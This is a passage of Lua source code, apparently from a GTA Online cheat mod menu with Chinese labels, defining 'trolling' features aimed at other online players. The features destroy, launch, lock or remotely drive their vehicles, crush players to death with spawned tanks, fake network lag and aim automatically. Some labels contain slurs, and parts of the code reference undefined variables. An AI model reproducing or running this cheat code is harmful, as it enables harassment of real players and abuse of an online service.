                AUDIO.SET_VEH_RADIO_STATION(player_veh, radio_name)
                wait(750)
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(), pos, false, false, false)
            else
                wait(250)
                AUDIO.SET_VEH_RADIO_STATION(player_veh, radio_name)
            end
        end
    end)

	GTLP(playerOtherTrolling,"草所有的汽车", {"fuckupallcars"}, "逐渐损坏/压垮该玩家附近的载具", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        VEHICLE.SET_VEHICLE_DAMAGE(veh, math.random(-5.0, 5.0), math.random(-5.0, 5.0), math.random(-5.0,5.0), 200.0, 10000.0, true)
	      if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
	      VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

    	GTLP(playerOtherTrolling,"鸣笛所有汽车", {"honkallcars"}, "令附近所有车辆都按下喇叭", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        VEHICLE.START_VEHICLE_HORN(veh, 200, util.joaat("HELDDOWN"), true)
	      if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
	      VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

	GTLP(playerOtherTrolling,"炸毁所有汽车", {"Blow up all cars"}, "炸飞附近所有车辆", function(on)
		for k, veh in pairs(entities.get_all_vehicles_as_handles()) do
			local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, false)
			local locspeed2 = speed
        			local holecoords = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
			if not PED.IS_PED_A_PLAYER(PedInSeat) then
				NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
	      ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(bh_target), true)
                        vcoords = ENTITY.GET_ENTITY_COORDS(veh, true)
                        FIRE.ADD_EXPLOSION(vcoords['x'], vcoords['y'], vcoords['z'], 7, 100.0, true, false, 1.0)
	      if not dont_stop and not PAD.IS_CONTROL_PRESSED(2, 71) and not PAD.IS_CONTROL_PRESSED(2, 72) then
	      VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 0.0);
				end
			end
		end
	end)

        GTLP(playerOtherTrolling, "摇晃车辆", {"glitchvehv1"}, "鬼畜该玩家的车辆", function()
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(player, false)
        local glitch_hash = util.joaat("p_spinning_anus_s")
        STREAMING.REQUEST_MODEL(glitch_hash)
        while not STREAMING.HAS_MODEL_LOADED(glitch_hash) do
            wait()
        end
        if not PED.IS_PED_IN_VEHICLE(player, PED.GET_VEHICLE_PED_IS_IN(player), false) then
            util.toast("Player isn't in a vehicle. :/")
            return
        end
        glitched_object = entities.create_object(glitch_hash, playerpos)
        ENTITY.SET_ENTITY_VISIBLE(glitched_object, false)
        ENTITY.SET_ENTITY_INVINCIBLE(glitched_object, true)
        ENTITY.SET_ENTITY_COLLISION(glitched_object, true, true)
        wait(100)
        entities.delete_by_handle(glitched_object)
        wait()
    end)

    
	GTLP(playerOtherTrolling,"摇晃车辆V2", {"glitchvehv2"}, "鬼畜该玩家的车辆",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 0, -10, true, false, true) 
            wait(100)
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 10, 0, true, false, true) 
            wait(100)
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, -10, 0, true, false, true) 
            wait(100)
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 10, 0, 0, true, false, true) 
            wait(100)
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, -10, 0, 0, true, false, true) 
            wait(100)
		end
    end)

    GTLP(playerOtherTrolling, "载具锁定", {"vehiclelock"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local vehicle = PED.GET_VEHICLE_PED_IS_TRYING_TO_ENTER(ped)
        if not VEHICLE.GET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(vehicle, pid) then
            VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_PLAYER(vehicle, pid, true)
        end
    end)

    GTLP(playerOtherTrolling, "Mk2 自瞄", {"mk2aimbot"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local ped_dist = v3.distance(players.get_position(players.user()), players.get_position(pid))
        if not PED.IS_PED_DEAD_OR_DYING(ped) and PAD.IS_CONTROL_PRESSED(0, 70) and ped_dist < 200.0 then
            VEHICLE.SET_VEHICLE_SHOOT_AT_TARGET(players.user_ped(), ped, players.get_position(pid))
        end
    end)

	GTAC(playerOtherTrolling,"加速", {"giveboost"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 100) 
		end
    end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(playerOtherTrolling,"疯狂加速", {"Addictboosts"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 9999999) 
		end
    end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(playerOtherTrolling,"龟速", {"trashaccs"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, -2147483647) 
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"东", {"eastveh"}, "Boosts player's vehicle in the East direction",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 10000, 0, 0, true, false, true)
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"西", {"westveh"}, "Boosts player's vehicle in the West direction",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, -10000, 0, 0, true, false, true)
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"南", {"southveh"}, "Boosts player's vehicle in the South direction",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, -10000, 0, true, false, true)
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"北", {"northveh"}, "Boosts player's vehicle in the North direction",function()
        local vehicle = get_player_veh(pid,true)
        if vehicle then
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 10000, 0, true, false, true)
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTLP(playerOtherTrolling,"向上弹跳", {"bounceup"}, "Shoots player up",function()
        local vehicle = get_player_veh(pid,true)
        if vehicle then
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 0, 5, true, false, true)
        end
        wait(1000)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"向前冲击", {"launchup"}, "Shoots player up",function()
        local vehicle = get_player_veh(pid,true)
        if vehicle then
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 0, 10000, true, false, true)
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(playerOtherTrolling,"向下沉淀", {"launchdown"}, "Shoots player down",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(vehicle, 1, 0, 0, -10000, true, false, true)
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTLP(playerOtherTrolling,"分解车辆", {"explodeveh"}, "",function()
		local vehicle = get_player_veh(pid,false)
		if vehicle then
			VEHICLE.ADD_VEHICLE_PHONE_EXPLOSIVE_DEVICE(vehicle)
			VEHICLE.DETONATE_VEHICLE_PHONE_EXPLOSIVE_DEVICE()
            wait(1000)
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"使车辆可行驶", {"engineon"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_UNDRIVEABLE(vehicle, false)		
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"使车辆不可行驶", {"engineoff"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_UNDRIVEABLE(vehicle, true)		
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"把那个婊子关起来", {"lockcar"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_DOORS_LOCKED(vehicle, 4) 
			VEHICLE.SET_VEHICLE_COLOURS(vehicle, 135, 135)
			VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(vehicle, "LOCKED")
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"把那个婊子放出来", {"bunlockcar"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_DOORS_LOCKED(vehicle, 1)
			VEHICLE.SET_VEHICLE_COLOURS(vehicle, 92, 92)
			VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(vehicle, "URFREE")		
		end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"传送到我", {"tp2me"}, "Teleport player's vehicle to you (Better to spectate first)",function()
		local coords = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true)
		tp_veh_to(pid,coords.x,coords.y,coords.z)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"传送到海洋", {"tp2sea"}, "Tries to teleport player's vehicle to the ocean",function()	
		tp_veh_to(pid, -15000, -15000,0)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

	GTAC(playerOtherTrolling,"维修车辆外壳", {"repair"}, "修理玩家的车辆，但不修理它的引擎", function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_DEFORMATION_FIXED(vehicle)
		end
    end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(playerOtherTrolling,"快速升级车辆", {"ugveh"}, "升级该玩家的载具\n注意:如果第一次不起作用就会发送垃圾邮件",function()
		upgrade_vehicle(pid)
		upgrade_vehicle(pid)
        upgrade_vehicle(pid)
        upgrade_vehicle(pid)
		upgrade_vehicle(pid)
        upgrade_vehicle(pid)
        upgrade_vehicle(pid)
		upgrade_vehicle(pid)
        upgrade_vehicle(pid)
        upgrade_vehicle(pid)
    end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(playerOtherTrolling,"复制载具", {}, "Spawns a vehicle on target player", function()
		GTluaScript.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " ")
    end, nil, nil, COMMANDPERM_FRIENDLY)

        control_veh = player_toggle_loop(playerOtherTrolling, pid, "控制玩家载具", {}, "必须是陆地上的载具方可使用该功能", function(toggle)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        local player_veh = PED.GET_VEHICLE_PED_IS_IN(ped)
        local class = VEHICLE.GET_VEHICLE_CLASS(player_veh)
        if not players.exists(pid) then util.stop_thread() end

        if v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), players.get_position(pid)) > 1000.0 
        and v3.distance(pos, players.get_cam_pos(players.user())) > 1000.0 then
            util.toast("离得太远了. :/")
            GTluaScript.set_value(control_veh, false)
        return end

        if class == 15 then
            util.toast("玩家在直升机上 :/")
            GTluaScript.set_value(control_veh, false)
        return end
        
        if class == 16 then
            util.toast("玩家在飞机上. :/")
            GTluaScript.set_value(control_veh, false)
        return end

        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            if PAD.IS_CONTROL_PRESSED(0, 34) then
                while not PAD.IS_CONTROL_RELEASED(0, 34) do
                    TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 7, 100)
                    wait()
                end
            elseif PAD.IS_CONTROL_PRESSED(0, 35) then
                while not PAD.IS_CONTROL_RELEASED(0, 35) do
                    TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 8, 100)
                    wait()
                end
            elseif PAD.IS_CONTROL_PRESSED(0, 32) then
                while not PAD.IS_CONTROL_RELEASED(0, 32) do
                    TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 23, 100)
                    wait()
                end
            elseif PAD.IS_CONTROL_PRESSED(0, 33) then
                while not PAD.IS_CONTROL_RELEASED(0, 33) do
                    TASK.TASK_VEHICLE_TEMP_ACTION(ped, PED.GET_VEHICLE_PED_IS_IN(ped), 28, 100)
                    wait()
                end
            end
        else
            util.toast("玩家不在载具中. :/")
            GTluaScript.set_value(control_veh, false)
        end
        wait()
        
    end)

    GTACR(playerOtherTrolling, "神风敢死队", {}, "召唤天煞对该玩家进行自杀式袭击", {"Lazer", "Mammatus",  "Cuban800"}, function (index, plane)
        planedied(pid, index, plane)
    end)

    GTLP(playerOtherTrolling, "敌对交通", {}, "使玩家周围的NPC载具撞击该玩家", function()
        nearcarkill(pid)
    end)

        GTluaScript.click_slider(playerOtherTrolling,"弹飞载具", {}, "", -200, 200, 200, 10, function(mph)
            local speed = mph / 0.44704
            control_vehicle(pid, function(vehicle)
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(vehicle, speed)
                local vel = ENTITY.GET_ENTITY_VELOCITY(vehicle)
                ENTITY.SET_ENTITY_VELOCITY(vehicle, vel.x, vel.y, vel.z + 2.0)
                VEHICLE.RESET_VEHICLE_WHEELS(vehicle)
            end)
        end)

        GTAC(playerOtherTrolling,"载具上升", {}, "", function()
            control_vehicle(pid, function(vehicle)
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(vehicle, 100.0)
                local vel = ENTITY.GET_ENTITY_VELOCITY(vehicle)
                ENTITY.SET_ENTITY_VELOCITY(vehicle, vel.x, vel.y, vel.z + 100.0)
                VEHICLE.RESET_VEHICLE_WHEELS(vehicle)
            end)
        end)

        GTAC(playerOtherTrolling,"载具降落", {}, "", function()
            control_vehicle(pid, function(vehicle)
                VEHICLE._STOP_BRING_VEHICLE_TO_HALT(vehicle)
                ENTITY.SET_ENTITY_VELOCITY(vehicle, 0.0, 0.0, 0.0)
            end)
        end)

        GTAC(playerOtherTrolling,"锁住车门", {}, "", function()
            control_vehicle(pid, function(vehicle)
            VEHICLE.SET_VEHICLE_DOOR_OPEN(vehicle, i - 1, false, false)
            end)
        end)

    GTAC(playerOtherTrolling,"强制锁胎", {}, "", function()
        control_vehicle(pid, function(vehicle)
            if open_doors then
                for door = 0,7 do
                    VEHICLE.SET_VEHICLE_DOOR_OPEN(vehicle, door, false, false)
                end
            else
                VEHICLE.SET_VEHICLE_DOORS_SHUT(vehicle, false)
            end
        end)
    end)

    GTAC(playerOtherTrolling,"爆炸车", {}, "", function()
        control_vehicle(pid, function(vehicle)
            local pos = ENTITY.GET_ENTITY_COORDS(vehicle, 1)
            FIRE.ADD_EXPLOSION(pos.x, pos.y, pos.z + 1.0, 26, 60, true, true, 0.0)
        end)
    end)

    GTLP(playerOtherTrolling, "伪造载具延迟", {"vehfakelag"}, "#针对载具内的玩家\n#模拟玩家卡顿现象\n#令该玩家怀疑自己的网络", function ()
        FakeLagPlayerVehicle(pid)
    end)

    GTLuaScript.list_action(playerOtherTrolling, "车门选项", {}, "", {"打开", "关闭", "打破"}, function(index, value, click_type)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            local d = VEHICLE.GET_NUMBER_OF_VEHICLE_DOORS(car)
            for i=0, d do
                pluto_switch index do
                    case 1: 
                        VEHICLE.SET_VEHICLE_DOOR_OPEN(car, i, false, true)
                        break
                    case 2:
                        VEHICLE.SET_VEHICLE_DOOR_SHUT(car, i, true)
                        break
                    case 3:
                        VEHICLE.SET_VEHICLE_DOOR_BROKEN(car, i, false)
                        break
                end
            end
        end
    end)

    GTAC(winmenu, '卷起所有窗口', {'rolluwin'}, '立即卷起所有窗口', function ()
        GetPlayVeh(pid, function ()
            Rollaup(pid)
        end)
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(winmenu, '滚下所有窗户', {'rolldwin'}, '立即卷起所有窗口', function ()
        GetPlayVeh(pid, function ()
            Rolladown(pid)
        end)
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTLuaScript.list_action(winmenu, '收起单个窗口', {''}, '收起单个窗口', Windows,
    function(index)
        local win = index - 1
        GetPlayVeh(pid, function ()
            Rolluindivid(pid, win)
        end)
    end)

    GTLuaScript.list_action(winmenu, '打开单个窗口', {''}, '打开单个窗口', Windows,
    function(index)
        local win = index - 1
        GetPlayVeh(pid, function ()
            Rolldindivid(pid, win)
        end)
    end)

    vehmenus = {}

    menu.on_focus(bodym, function ()
    for _, m in ipairs(vehmenus) do
    menu.delete(m)
    end
    vehmenus = {}
    if not players.exists(pid) then
    util.stop_thread()
    end
    GetPlayVeh(pid, function ()
    local pedm = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local vmod = PED.GET_VEHICLE_PED_IS_IN(pedm, false)
    if PED.IS_PED_IN_ANY_VEHICLE(pedm, false) then    
    for _, v in pairs(Vehopts) do
    local current = VEHICLE.GET_VEHICLE_MOD(vmod, v[1] -1)
    local maxmods = Getmodcou(pid, v[1] - 1)
    if maxmods > 0  then
    local modnames = v[2]
    local s = menu.slider(bodym, modnames , {''}, '',  -1, maxmods  , current, 1, function (mod)
    GetPlayVeh(pid, function ()
    Changemod(pid, v[1] -1, mod)
    end)
    end)                     
    table.insert(vehmenus, s)
    wait()
    end
    end
    for i, v in pairs(Vehtogs) do
    local current = VEHICLE.IS_TOGGLE_MOD_ON(vmod, v[1] -1)
    local tognames = v[2]
    local t = GTTG(bodym, tognames, {''}, '', function (on)
    VEHICLE.TOGGLE_VEHICLE_MOD(vmod, v[1] - 1, on)
    end, current)         
    table.insert(vehmenus, t)
    wait()
    end
    end
    end)
    end)
           
    color = {}

    GTLuaScript.list_select(colm, '原色', {''}, '更改车辆的原色', Mainc, 1, function (t)
    color.prim = t - 1
    GetPlayVeh(pid, function ()
    Changecolor(pid, color)
    end)
    end)

    GTLuaScript.list_select(colm, '二次色', {''}, '更改车辆的次要颜色', Mainc, 1, function (t)
    color.sec = t - 1
    GetPlayVeh(pid, function ()
    Changecolor(pid, color)
    end)
    end)

    GTLuaScript.list_select(colm, '珠光色', {''}, '更改载具上的珠光颜色', Mainc, 1, function (t)
    color.per = t - 1
    GetPlayVeh(pid, function ()
    Changewhepercolor(pid, color)
    end)
    end)
   
    GTLuaScript.list_select(colm, '车轮颜色', {''}, '更改车辆上的车轮颜色', Mainc, 1, function (t)
    color.whe = t - 1
    GetPlayVeh(pid, function ()
    Changewhepercolor(pid, color)
    end)
    end)

    GTLuaScript.list_select(colm, '内饰颜色', {''}, '更改车辆的内部颜色', Mainc, 1, function (t)
    color.int = t - 1
    GetPlayVeh(pid, function ()
    Changeintcolor(pid, color.int)
    end)
    end)

    GTLuaScript.list_select(colm, '仪表板颜色', {''}, '更改车辆上的仪表板颜色', Mainc, 1, 
    function (t)
    color.das = t - 1
    GetPlayVeh(pid, function ()
    Changedashcolor(pid, color.das)
    end)
    end)

    
    GTLuaScript.list_select(lighm, '霓虹灯', {''}, '将霓虹灯更改为不同的颜色', Mainc, 1, function(c)
    local ncolor = c - 1
    GetPlayVeh(pid, function ()
    Changeneon(pid, ncolor)
    end)
    end)


    GTLuaScript.list_select(lscm, '窗口色调', {''}, '改变车辆的色调', Til, 1, function (t)
    local tint = t - 1
    GetPlayVeh(pid, function ()
    Changetint(pid, tint)
    end)
    end)
   
    GTLuaScript.list_select(lighm, '大灯', {''}, '将大灯更改为不同的颜色', Lighc, 1, 
    function(c)
    local hcolor = c - 1
    GetPlayVeh(pid, function ()
    Changehead(pid, hcolor)
    end)
    end)

    nrgb = {color= {r= 0, g = 1, b = 0, a = 1}}

    menu.action(lighm, '改变 RGB 霓虹灯', {}, '将霓虹灯的颜色更改为您选择的 RGB', function ()
    GetPlayVeh(pid, function ()
    local pedm = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local spec = menu.get_value(menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Nuts Method"))
    local vmod = PED.GET_VEHICLE_PED_IS_IN(pedm, false)
    GetControl(vmod, spec, pid)
    RGBNeonKit(pedm)
    local red = nrgb.color.r * 255
    local green = nrgb.color.g * 255
    local blue = nrgb.color.b * 255
    VEHICLE.SET_VEHICLE_NEON_COLOUR(vmod, red, green, blue)
    if not spec then
    Specoff(pid)
    end
    end)
    end)


    menu.colour(lighm, 'RGB 霓虹色', {'rgbsc'}, '选择霓虹灯的颜色更改为 ', nrgb.color, false, function(ncolor)
    nrgb.color = ncolor
    end)

    GTLuaScript.list_select(wmenu, '本尼斯定制', {''}, '将车轮更换为 Bennys Bespoke 车轮', Bbw, 1, 
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 9, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '本尼原件', {''}, '将车轮更换为 Bennys Originals 车轮', Bow, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 8, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '自行车', {''}, '将车轮改为自行车（摩托车）车轮', Bw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 6, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '高端', {''}, '将车轮更改为高端车轮', Hew, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid,  function ()
    Changewheel(pid, 7, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '低骑者', {''}, '将车轮更改为 Lowrider 车轮', Lw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 2, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '肌肉', {''}, '将轮子改为肌肉轮', Mw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 1, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '越野', {''}, '将车轮更改为越野车轮', Orw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 4, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '赛车（一级方程式车轮）', {''}, '将车轮更改为赛车（一级方程式车轮）车轮', Rw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid,  function ()
    Changewheel(pid, 10, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '运动', {''}, '将车轮更改为运动车轮', Spw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid,  function ()
    Changewheel(pid, 0, wheel)
    end)
    end)
    
    GTLuaScript.list_select(wmenu, '街道', {''}, '将车轮更改为街道车轮', Stw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 11, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '越野车', {''}, '将车轮改为 SUV 车轮', Suw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid,  function ()
    Changewheel(pid, 3, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '追踪', {''}, '将轮子更改为履带轮', Trw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid,  function ()
    Changewheel(pid, 12, wheel)
    end)
    end)

    GTLuaScript.list_select(wmenu, '调谐器', {''}, '将车轮更改为调谐器车轮', Tuw, 1,
    function(w)
    local wheel = w - 1
    GetPlayVeh(pid, function ()
    Changewheel(pid, 5, wheel)
    end)
    end)

    GTAC(playerOtherTrolling, "载具无敌", {}, "", function(click_type)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            ENTITY.SET_ENTITY_INVINCIBLE(car, true)
            VEHICLE.SET_VEHICLE_CAN_BE_VISIBLY_DAMAGED(car, false)
        end
    end)

    GTluaScript.click_slider(playerOtherTrolling, "载具最高速度", {}, "", -10000, 10000, 200, 100, function(s)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            VEHICLE.MODIFY_VEHICLE_TOP_SPEED(car, s)
            ENTITY.SET_ENTITY_MAX_SPEED(car, s)
        end
    end)

    GTTG(playerOtherTrolling, "隐形载具", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            if on then
                ENTITY.SET_ENTITY_ALPHA(car, 255)
                ENTITY.SET_ENTITY_VISIBLE(car, false, 0)
            else
                ENTITY.SET_ENTITY_ALPHA(car, 0)
                ENTITY.SET_ENTITY_VISIBLE(car, true, 0)
            end
        end
    end)

    GTAC(playerOtherTrolling, "压迫至死", {"squish"}, "压垮该玩家直到TA死去为止!\n#注意:若该玩家正在使用无布娃娃则无效", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        local khanjali = util.joaat("khanjali")
        request_model(khanjali)

        if TASK.IS_PED_STILL(ped) then
            distance = 0.0
        elseif not TASK.IS_PED_STILL(ped) then
            distance = 2.0
        end

        local vehicle1 = entities.create_vehicle(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, distance, 2.8), ENTITY.GET_ENTITY_HEADING(ped))
        local vehicle2 = entities.create_vehicle(khanjali, pos, 0)
        local vehicle3 = entities.create_vehicle(khanjali, pos, 0)
        local vehicle4 = entities.create_vehicle(khanjali, pos, 0)
        local spawned_vehs = {vehicle1, vehicle2, vehicle3, vehicle4}
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, -180.0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0.0, 3.0, 3.0, 0.0, 0.0, 0.0, -180.0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
        wait(5000)
        for i = 1, #spawned_vehs do
            entities.delete_by_handle(spawned_vehs[i])
        end
    end) 

    GTTG(playerOtherTrolling, "手刹", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            VEHICLE.SET_VEHICLE_HANDBRAKE(car, on)
        end
    end)

    GTLP(playerOtherTrolling, "随机制动", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            VEHICLE.SET_VEHICLE_HANDBRAKE(car, true)
            wait(1000)
            request_control_of_entity(car)
            VEHICLE.SET_VEHICLE_HANDBRAKE(car, false)
